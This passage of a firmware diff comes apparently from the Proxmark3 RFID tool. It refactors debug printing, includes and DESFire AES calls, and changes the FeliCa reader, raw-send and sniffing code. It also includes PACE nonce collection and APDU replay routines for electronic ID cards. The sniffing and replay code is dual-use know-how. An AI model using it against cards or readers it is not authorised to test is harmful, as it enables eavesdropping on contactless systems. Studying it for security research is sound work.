reply_via_fpc = false;\
reply_via_usb = true;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
#define Dbprintf_fpc(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = true;\
reply_via_usb = false;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
#define Dbprintf_all(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = true;\
reply_via_usb = true;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len);
int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
int receive_ng(PacketCommandNG *rx);
#endif // _PROXMARK_CMD_H_

130
armsrc/dbprint.c Normal file
View file

@ -0,0 +1,130 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Mar 2006
// Edits by Gerhard de Koning Gans, Sep 2007 (##)
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// The main application code. This is the first thing called after start.c
// executes.
//-----------------------------------------------------------------------------
#include "dbprint.h"
#include "string.h"
#include "cmd.h"
#include "printf.h"
#define DEBUG 1
//=============================================================================
// Debug print functions, to go out over USB, to the usual PC-side client.
//=============================================================================
void DbpStringEx(uint32_t flags, char *src, size_t srclen) {
#if DEBUG
struct {
uint16_t flag;
uint8_t buf[PM3_CMD_DATA_SIZE - sizeof(uint16_t)];
} PACKED data;
data.flag = flags;
uint16_t len = MIN(srclen, sizeof(data.buf));
memcpy(data.buf, src, len);
reply_ng(CMD_DEBUG_PRINT_STRING, PM3_SUCCESS, (uint8_t *)&data, sizeof(data.flag) + len);
#endif
}
void DbpString(char *str) {
#if DEBUG
DbpStringEx(FLAG_LOG, str, strlen(str));
#endif
}
void DbprintfEx(uint32_t flags, const char *fmt, ...) {
#if DEBUG
// should probably limit size here; oh well, let's just use a big buffer
char s[PM3_CMD_DATA_SIZE] = {0x00};
va_list ap;
va_start(ap, fmt);
kvsprintf(fmt, s, 10, ap);
va_end(ap);
DbpStringEx(flags, s, strlen(s));
#endif
}
void Dbprintf(const char *fmt, ...) {
#if DEBUG
// should probably limit size here; oh well, let's just use a big buffer
char output_string[PM3_CMD_DATA_SIZE] = {0x00};
va_list ap;
va_start(ap, fmt);
kvsprintf(fmt, output_string, 10, ap);
va_end(ap);
DbpString(output_string);
#endif
}
// prints HEX & ASCII
void Dbhexdump(int len, uint8_t *d, bool bAsci) {
#if DEBUG
char ascii[9];
while (len > 0) {
int l = (len > 8) ? 8 : len;
memcpy(ascii, d, l);
ascii[l] = 0;
// filter safe ascii
for (int i = 0; i < l; i++) {
if (ascii[i] < 32 || ascii[i] > 126) {
ascii[i] = '.';
}
}
if (bAsci)
Dbprintf("%-8s %*D", ascii, l, d, " ");
else
Dbprintf("%*D", l, d, " ");
len -= 8;
d += 8;
}
#endif
}
void print_result(char *name, uint8_t *buf, size_t len) {
uint8_t *p = buf;
uint16_t tmp = len & 0xFFF0;
for (; p - buf < tmp; p += 16) {
Dbprintf("[%s: %02d/%02d] %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x",
name,
p - buf,
len,
p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15]
);
}
if (len % 16 != 0) {
char s[46] = {0};
char *sp = s;
for (; p - buf < len; p++) {
sprintf(sp, "%02x ", p[0]);
sp += 3;
}
Dbprintf("[%s: %02d/%02d] %s", name, p - buf, len, s);
}
}
/* useful when debugging new protocol implementations like FeliCa
void PrintToSendBuffer(void) {
DbpString("Printing ToSendBuffer:");
Dbhexdump(ToSendMax, ToSend, 0);
}
*/

53
armsrc/dbprint.h Normal file
View file

@ -0,0 +1,53 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __DBPRINT_H
#define __DBPRINT_H
#include "common.h"
#include "ansi.h"
#define Dbprintf_usb(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = false;\
reply_via_usb = true;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
#define Dbprintf_fpc(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = true;\
reply_via_usb = false;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
#define Dbprintf_all(...) {\
bool tmpfpc = reply_via_fpc;\
bool tmpusb = reply_via_usb;\
reply_via_fpc = true;\
reply_via_usb = true;\
Dbprintf(__VA_ARGS__);\
reply_via_fpc = tmpfpc;\
reply_via_usb = tmpusb;}
void DbpString(char *str);
void DbpStringEx(uint32_t flags, char *src, size_t srclen);
void Dbprintf(const char *fmt, ...);
void DbprintfEx(uint32_t flags, const char *fmt, ...);
void Dbhexdump(int len, uint8_t *d, bool bAsci);
void print_result(char *name, uint8_t *buf, size_t len);
//void PrintToSendBuffer(void);
#endif

View file

@ -27,6 +27,7 @@
*/
#include "des.h"
#include "string.h"
const uint8_t sbox[256] = {
/* S-box 1 */
@ -271,7 +272,7 @@ uint8_t substitute(uint8_t a, uint8_t *sbp) {
uint32_t des_f(uint32_t r, uint8_t *kr) {
uint8_t i;
uint32_t t = 0, ret;
uint64_t data;
uint64_t data = 0;
uint8_t *sbp; /* sboxpointer */
permute((uint8_t *)e_permtab, (uint8_t *)&r, (uint8_t *)&data);
for (i = 0; i < 6; ++i)

View file

@ -27,8 +27,7 @@
#ifndef __DES_H_
#define __DES_H_
#include <stdint.h>
#include <string.h>
#include "common.h"
/* the FIPS 46-3 (1999-10-25) name for triple DES is triple data encryption algorithm so TDEA.
* Also we only implement the three key mode */

View file

@ -1,9 +1,7 @@
#ifndef __DESFIRE_H
#define __DESFIRE_H
#include <string.h>
#include <stdarg.h>
#include "aes.h"
#include "common.h"
#include "mifare.h"
#define MAX_CRYPTO_BLOCK_SIZE 16
@ -71,10 +69,6 @@ enum DESFIRE_CRYPTOALGO {
struct desfire_key {
enum DESFIRE_CRYPTOALGO type;
uint8_t data[24];
// DES_key_schedule ks1;
// DES_key_schedule ks2;
// DES_key_schedule ks3;
AesCtx aes_ks;
uint8_t cmac_sk1[24];
uint8_t cmac_sk2[24];
uint8_t aes_version;

View file

@ -1,18 +0,0 @@
#ifndef __DESFIRE_CRYPTO_H
#define __DESFIRE_CRYPTO_H
#ifdef __cplusplus
extern "C" {
#endif
#include <string.h>
#include "crc32.h"
#include "printf.h"
#include "desfire.h"
#include "iso14443a.h"
#ifdef __cplusplus
}
#endif
#endif

View file

@ -25,7 +25,13 @@
* Recommendation for Block Cipher Modes of Operation: The CMAC Mode for Authentication
* May 2005
*/
#include "desfire_crypto.h"
#include <string.h>
#include "desfire_crypto_disabled.h"
#include "crc32.h"
#include "printf.h"
#include "desfire.h"
#include "iso14443a.h"
#include "mbedtls/aes.h"
static void xor(const uint8_t *ivect, uint8_t *data, const size_t len);
static size_t key_macing_length(desfirekey_t key);
@ -571,15 +577,19 @@ void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect,
case T_AES:
switch (operation) {
case MCO_ENCYPHER: {
AesCtx ctx;
AesCtxIni(&ctx, ivect, key->data, KEY128, CBC);
AesEncrypt(&ctx, data, edata, sizeof(edata));
mbedtls_aes_context ctx;
mbedtls_aes_init(&ctx);
mbedtls_aes_setkey_enc(&ctx, key->data, 128);
mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_ENCRYPT, sizeof(edata), ivect, data, edata);
mbedtls_aes_free(&ctx);
break;
}
case MCO_DECYPHER: {
AesCtx ctx;
AesCtxIni(&ctx, ivect, key->data, KEY128, CBC);
AesDecrypt(&ctx, edata, data, sizeof(edata));
mbedtls_aes_context ctx;
mbedtls_aes_init(&ctx);
mbedtls_aes_setkey_dec(&ctx, key->data, 128);
mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_DECRYPT, sizeof(edata), ivect, edata, data);
mbedtls_aes_free(&ctx);
break;
}
}

View file

@ -0,0 +1,18 @@
#ifndef __DESFIRE_CRYPTO_H
#define __DESFIRE_CRYPTO_H
#include "common.h"
#include "desfire.h"
void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings);
void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings);
void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size);
void mifare_cypher_blocks_chained(desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation);
size_t key_block_size(const desfirekey_t key);
size_t padded_data_length(const size_t nbytes, const size_t block_size);
size_t maced_data_length(const desfirekey_t key, const size_t nbytes);
size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int communication_settings);
void cmac_generate_subkeys(desfirekey_t key);
void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac);
#endif

View file

@ -18,6 +18,7 @@
*/
#include "desfire_key.h"
#include "string.h"
static inline void update_key_schedules(desfirekey_t key);

View file

@ -1,11 +1,8 @@
#ifndef __DESFIRE_KEY_INCLUDED
#define __DESFIRE_KEY_INCLUDED
#include <stdlib.h>
#include <stdint.h>
#include "iso14443a.h"
#include "common.h"
#include "desfire.h"
//#include "mifare.h" // iso14a_card_select_t struct
void Desfire_des_key_new(const uint8_t value[8], desfirekey_t key);
void Desfire_3des_key_new(const uint8_t value[16], desfirekey_t key);
void Desfire_des_key_new_with_version(const uint8_t value[8], desfirekey_t key);
@ -17,4 +14,5 @@ void Desfire_aes_key_new_with_version(const uint8_t value[16], uint8_t version,
uint8_t Desfire_key_get_version(desfirekey_t key);
void Desfire_key_set_version(desfirekey_t key, uint8_t version);
void Desfire_session_key_new(const uint8_t rnda[], const uint8_t rndb[], desfirekey_t authkey, desfirekey_t key);
#endif

View file

@ -12,8 +12,7 @@
#ifndef __EMVCARD_H
#define __EMVCARD_H
#include <stdint.h>
#include <stddef.h>
#include "common.h"
//structure to hold received/set tag values
//variable data inputs have length specifiers

View file

@ -12,6 +12,16 @@
//-----------------------------------------------------------------------------
#include "epa.h"
#include "cmd.h"
#include "fpgaloader.h"
#include "iso14443a.h"
#include "iso14443b.h"
#include "string.h"
#include "util.h"
#include "dbprint.h"
#include "commonutil.h"
#include "ticks.h"
// Protocol and Parameter Selection Request for ISO 14443 type A cards
// use regular (1x) speed in both directions
// CRC is already included
@ -129,8 +139,8 @@ void EPA_Finish() {
//-----------------------------------------------------------------------------
// Parses DER encoded data, e.g. from EF.CardAccess and fills out the given
// structs. If a pointer is 0, it is ignored.
// The function returns 0 on success and if an error occured, it returns the
// offset where it occured.
// The function returns 0 on success and if an error occurred, it returns the
// offset where it occurred.
//
// TODO: This function can access memory outside of the given data if the DER
// encoding is broken
@ -264,7 +274,7 @@ void EPA_PACE_Collect_Nonce(PacketCommandNG *c) {
* ack layout:
* arg:
* 1. element
* step where the error occured or 0 if no error occured
* step where the error occurred or 0 if no error occurred
* 2. element
* return code of the last executed function
* d:
@ -470,14 +480,14 @@ void EPA_PACE_Replay(PacketCommandNG *c) {
uint8_t response_apdu[300] = {0};
// now replay the data and measure the timings
for (int i = 0; i < sizeof(apdu_lengths_replay); i++) {
for (int i = 0; i < ARRAYLEN(apdu_lengths_replay); i++) {
StartCountUS();
func_return = EPA_APDU(apdus_replay[i].data,
apdu_lengths_replay[i],
response_apdu);
timings[i] = GetCountUS();
// every step but the last one should succeed
if (i < sizeof(apdu_lengths_replay) - 1
if (i < ARRAYLEN(apdu_lengths_replay) - 1
&& (func_return < 6
|| response_apdu[func_return - 4] != 0x90
|| response_apdu[func_return - 3] != 0x00)) {

View file

@ -11,9 +11,8 @@
#ifndef __EPA_H
#define __EPA_H
#include "cmd.h"
#include "iso14443a.h"
#include "iso14443b.h"
#include "common.h"
#include "pm3_cmd.h"
// this struct is used by EPA_Parse_CardAccess and contains info about the
// PACE protocol supported by the chip
@ -23,8 +22,6 @@ typedef struct {
uint8_t parameter_id;
} pace_version_info_t;
// note: EPA_PACE_Collect_Nonce and EPA_PACE_Replay are declared in apps.h
// general functions
void EPA_Finish();
size_t EPA_Parse_CardAccess(uint8_t *data,
@ -37,4 +34,7 @@ int EPA_Setup();
int EPA_PACE_MSE_Set_AT(pace_version_info_t pace_version_info, uint8_t password);
int EPA_PACE_Get_Nonce(uint8_t requested_length, uint8_t *nonce);
void EPA_PACE_Collect_Nonce(PacketCommandNG *c);
void EPA_PACE_Replay(PacketCommandNG *c);
#endif /* __EPA_H */

View file

@ -1,29 +1,32 @@
#include "proxmark3.h"
#include "apps.h"
#include "felica.h"
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "util.h"
#include "usb_cdc.h" // for usb_poll_validate_length
#include "protocols.h"
#include "crc16.h" // crc16 ccitt
#include "crc16.h"
#include "fpgaloader.h"
#include "string.h"
#include "commonutil.h"
#include "dbprint.h"
#include "ticks.h"
#include "mifare.h"
// FeliCa timings
// minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56Mhz) cycles
// minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56MHz) cycles
#ifndef FELICA_REQUEST_GUARD_TIME
# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1)
# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1) // 426
#endif
// FRAME DELAY TIME 2672 carrier cycles
#ifndef FELICA_FRAME_DELAY_TIME
# define FELICA_FRAME_DELAY_TIME (2672/16 + 1)
# define FELICA_FRAME_DELAY_TIME (2672/16 + 1) // 168
#endif
#ifndef DELAY_AIR2ARM_AS_READER
#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16)
#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16) // 91
#endif
#ifndef DELAY_ARM2AIR_AS_READER
#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1)
#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1) // 209
#endif
// CRC skips two first sync bits in data buffer
#define AddCrc(data, len) compute_crc(CRC_FELICA, (data)+2, (len),(data)+(len)+2, (data)+(len)+3)
#define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len))
static uint32_t felica_timeout;
static uint32_t felica_nexttransfertime;
@ -106,7 +109,7 @@ static void shiftInByte(uint8_t bt) {
static void Process18092Byte(uint8_t bt) {
switch (FelicaFrame.state) {
case STATE_UNSYNCD: {
//almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not alsways the case
//almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not always the case
if (bt > 0) {
FelicaFrame.shiftReg = reflect8(bt);
FelicaFrame.state = STATE_TRYING_SYNC;
@ -170,13 +173,11 @@ static void Process18092Byte(uint8_t bt) {
}
case STATE_GET_CRC: {
shiftInByte(bt);
if (FelicaFrame.rem_len <= 0) {
FelicaFrame.rem_len = 0;
// skip sync 2bytes. IF ok, residue should be 0x0000
FelicaFrame.crc_ok = check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2);
FelicaFrame.state = STATE_FULL;
FelicaFrame.rem_len = 0;
if (DBGLEVEL > 3) Dbprintf("[+] got 2 crc bytes [%s]", (FelicaFrame.crc_ok) ? "OK" : "No");
}
break;
}
@ -189,6 +190,7 @@ static void Process18092Byte(uint8_t bt) {
/* Perform FeliCa polling card
* Currently does NOT do any collision handling.
* It expects 0-1 cards in the device's range.
* return 0 if selection was successful
*/
static uint8_t felica_select_card(felica_card_select_t *card) {
@ -196,9 +198,9 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// 0xB2 0x4B = sync code
// 0x06 = len
// 0x00 = rfu
// 0xff = system service
// 0xff = system service
// 0x00 =
// 0xff = system code service
// 0xff = system code service
// 0x00 = request code
// b7 = automatic switching of data rate
// b6-b2 = reserved
// b1 = fc/32 (414kbps)
@ -206,7 +208,6 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// 0x00 = timeslot
// 0x09 0x21 = crc
static uint8_t poll[10] = {0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xFF, 0xFF, 0x00, 0x00, 0x09, 0x21};
int len = 20;
// We try 20 times, or if answer was received.
@ -217,7 +218,7 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0);
// polling card, break if success
if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK)
if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK)
break;
WDT_HIT();
@ -225,17 +226,31 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
} while (--len);
// timed-out
if (len == 0)
if (len == 0) {
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("Error: Time out card selection!");
return 1;
}
// wrong answer
if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK)
if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK) {
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("Error: Wrong answer selecting card!");
return 2;
}
// VALIDATE CRC residue is 0, hence if crc is a value it failed.
if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2))
if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2)) {
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Error: CRC check failed!");
Dbprintf("CRC check was done on Frame: ");
Dbhexdump(FelicaFrame.len - 2, FelicaFrame.framebytes + 2, 0);
}
return 3;
}
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("Card selection successful!");
// copy UID
// idm 8
if (card) {
@ -246,7 +261,10 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
memcpy(card->uid, card->IDm + 2, 6);
memcpy(card->iccode, card->PMm, 2);
memcpy(card->mrt, card->PMm + 2, 6);
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Received Frame: ");
Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0);
}
}
// more status bytes?
return 0;
@ -265,12 +283,12 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// 8-byte IDm, number of blocks, blocks numbers
// number of blocks limited to 4 for FelicaLite(S)
static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) {
if (blocknum > 4 || blocknum <= 0)
Dbprintf("Invalid number of blocks, %d != 4", blocknum);
uint8_t c = 0, i = 0;
// Sync bytes
frameSpace[c++] = 0xb2;
frameSpace[c++] = 0x4d;
@ -313,13 +331,12 @@ static void BuildFliteRdblk(uint8_t *idm, int blocknum, uint16_t *blocks) {
//set length
frameSpace[2] = c - 2;
AddCrc(frameSpace, c - 2);
//Add CRC
AddCrc(frameSpace + 2, c - 2);
}
static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing, uint8_t power, uint8_t highspeed) {
uint8_t flags = FPGA_MAJOR_MODE_ISO18092;
uint8_t flags = FPGA_MAJOR_MODE_HF_ISO18092;
if (power)
flags |= FPGA_HF_ISO18092_FLAG_READER;
if (highspeed)
@ -337,19 +354,20 @@ static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing,
// sending 0x00 0x00 0x00 0x00 0x00 0x00
uint16_t c = 0;
while (c < 6) {
// keep tx buffer in a defined state anyway.
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
AT91C_BASE_SSC->SSC_THR = 0x00;
c++;
}
}
// sending sync code
// sending data
// sending data with sync bytes
c = 0;
while (c < len) {
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Sending frame:");
Dbhexdump(len, frame, 0);
}
while (c < len) {
// Put byte into tx holding register as soon as it is ready
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
AT91C_BASE_SSC->SSC_THR = frame[c++];
@ -381,12 +399,11 @@ static void TransmitFor18092_AsReader(uint8_t *frame, int len, uint32_t *timing,
// stop when button is pressed
// or return TRUE when command is captured
bool WaitForFelicaReply(uint16_t maxbytes) {
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("WaitForFelicaReply Start");
uint32_t c = 0;
// power, no modulation
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
FelicaFrameReset();
// clear RXRDY:
@ -394,19 +411,15 @@ bool WaitForFelicaReply(uint16_t maxbytes) {
(void)b;
uint32_t timeout = iso18092_get_timeout();
for (;;) {
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
b = (uint8_t)(AT91C_BASE_SSC->SSC_RHR);
Process18092Byte(b);
if (FelicaFrame.state == STATE_FULL) {
felica_nexttransfertime =
MAX(
felica_nexttransfertime,
(GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME
)
;
felica_nexttransfertime = MAX(felica_nexttransfertime,
(GetCountSspClk() & 0xfffffff8) - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FELICA_FRAME_DELAY_TIME);
LogTrace(
FelicaFrame.framebytes,
@ -416,22 +429,20 @@ bool WaitForFelicaReply(uint16_t maxbytes) {
NULL,
false
);
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("All bytes received! STATE_FULL");
return true;
} else if (c++ > timeout && FelicaFrame.state == STATE_UNSYNCD) {
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD");
return false;
} else if (FelicaFrame.state == STATE_GET_CRC) {
Dbprintf(" Frame: ");
Dbhexdump(16, FelicaFrame.framebytes, 0);
//return false;
}
}
}
return false;
}
// Set up FeliCa communication (similar to iso14443a_setup)
// field is setup for "Sending as Reader"
static void iso18092_setup(uint8_t fpga_minor_mode) {
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Start iso18092_setup");
LEDsoff();
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
@ -459,7 +470,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
// Signal field is on with the appropriate LED
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | fpga_minor_mode);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | fpga_minor_mode);
//20.4 ms generate field, start sending polling command afterwars.
SpinDelay(100);
@ -469,6 +480,14 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
LED_D_ON();
}
void felica_reset_frame_mode() {
switch_off();
//Resetting Frame mode (First set in fpgaloader.c)
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
}
//-----------------------------------------------------------------------------
// RAW FeliCa commands. Send out commands and store answers.
//-----------------------------------------------------------------------------
@ -476,8 +495,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
// arg1 len of commandbytes
// d.asBytes command bytes to send
void felica_sendraw(PacketCommandNG *c) {
if (DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Enter");
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("FeliCa_sendraw Enter");
felica_command_t param = c->oldarg[0];
size_t len = c->oldarg[1] & 0xffff;
@ -487,22 +505,27 @@ void felica_sendraw(PacketCommandNG *c) {
felica_card_select_t card;
if ((param & FELICA_CONNECT))
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Clear trace");
clear_trace();
set_tracing(true);
if ((param & FELICA_CONNECT)) {
iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
if ((param & FELICA_CONNECT)) {
// notify client selecting status.
// if failed selecting, turn off antenna and quite.
if (!(param & FELICA_NO_SELECT)) {
arg0 = felica_select_card(&card);
reply_old(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t));
if (arg0 > 0)
goto OUT;
reply_mix(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t));
if (arg0 > 0) {
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Error: Failed selecting card! ");
felica_reset_frame_mode();
return;
}
}
} else {
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("No card selection");
}
if ((param & FELICA_RAW)) {
@ -522,88 +545,84 @@ void felica_sendraw(PacketCommandNG *c) {
AddCrc(buf, len);
}
}
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Transmit Frame (no CRC shown):");
Dbhexdump(len, buf, 0);
Dbprintf("Buffer Length: %i", buf[2] + 4);
};
TransmitFor18092_AsReader(buf, buf[2] + 4, NULL, 1, 0);
arg0 = !WaitForFelicaReply(1024);
reply_old(CMD_ACK, arg0, 0, 0, FelicaFrame.framebytes + 2, FelicaFrame.len - 2);
arg0 = WaitForFelicaReply(1024);
if (DBGLEVEL >= DBG_DEBUG) {
Dbprintf("Received Frame Code: %d", arg0);
Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0);
};
uint32_t result = reply_mix(CMD_ACK, FelicaFrame.len, arg0, 0, FelicaFrame.framebytes, FelicaFrame.len);
if (result) {
Dbprintf("Reply to Client Error Code: %i", result);
}
if ((param & FELICA_NO_DISCONNECT))
}
if ((param & FELICA_NO_DISCONNECT)) {
Dbprintf("Disconnect");
}
if (DBGLEVEL >= DBG_DEBUG)
Dbprintf("FeliCa_sendraw Exit");
felica_reset_frame_mode();
return;
OUT:
switch_off();
//Resetting Frame mode (First set in fpgaloader.c)
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
if (DBGLEVEL > 3) Dbprintf("FeliCa_sendraw Exit");
}
void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) {
int remFrames = (samplesToSkip) ? samplesToSkip : 0;
Dbprintf("Sniff FelicaLiteS: Getting first %d frames, Skipping %d triggers.\n", samplesToSkip, triggersToSkip);
Dbprintf("Sniff Felica: Getting first %d frames, Skipping after %d triggers.\n", samplesToSkip, triggersToSkip);
clear_trace();
set_tracing(true);
iso18092_setup(FPGA_HF_ISO18092_FLAG_NOMOD);
//the frame bits are slow enough.
int n = BigBuf_max_traceLen() / sizeof(uint8_t); // take all memory
int numbts = 0;
uint8_t *dest = (uint8_t *)BigBuf_get_addr();
uint8_t *destend = dest + n - 2;
uint32_t endframe = GetCountSspClk();
while (dest <= destend) {
LED_D_ON();
uint16_t numbts = 0;
int trigger_cnt = 0;
uint32_t timeout = iso18092_get_timeout();
bool isReaderFrame = true;
while (!BUTTON_PRESS()) {
WDT_HIT();
if (BUTTON_PRESS()) break;
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
uint8_t dist = (uint8_t)(AT91C_BASE_SSC->SSC_RHR);
Process18092Byte(dist);
//to be sure we are in frame
if (FelicaFrame.state == STATE_GET_LENGTH) {
//length is after 48 (PRE)+16 (SYNC) - 64 ticks +maybe offset? not 100%
uint16_t distance = GetCountSspClk() - endframe - 64 + (FelicaFrame.byte_offset > 0 ? (8 - FelicaFrame.byte_offset) : 0);
*dest = distance >> 8;
dest++;
*dest = (distance & 0xff);
dest++;
if ((dist >= 178) && (++trigger_cnt > triggersToSkip)) {
Dbprintf("triggersToSkip kicked %d", dist);
break;
}
//crc NOT checked
if (FelicaFrame.state == STATE_FULL) {
endframe = GetCountSspClk();
//*dest = FelicaFrame.crc_ok; //kind of wasteful
dest++;
for (int i = 0; i < FelicaFrame.len; i++) {
*dest = FelicaFrame.framebytes[i];
dest++;
if (dest >= destend) break;
if ((FelicaFrame.framebytes[3] % 2) == 0) {
isReaderFrame = true; // All Reader Frames are even and all Tag frames are odd
} else {
isReaderFrame = false;
}
remFrames--;
if (remFrames <= 0) break;
if (dest >= destend) break;
if (remFrames <= 0) {
Dbprintf("Stop Sniffing - samplesToSkip reached!");
break;
}
LogTrace(FelicaFrame.framebytes,
FelicaFrame.len,
((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER - timeout,
((GetCountSspClk() & 0xfffffff8) << 4) - DELAY_AIR2ARM_AS_READER,
NULL,
isReaderFrame
);
numbts += FelicaFrame.len;
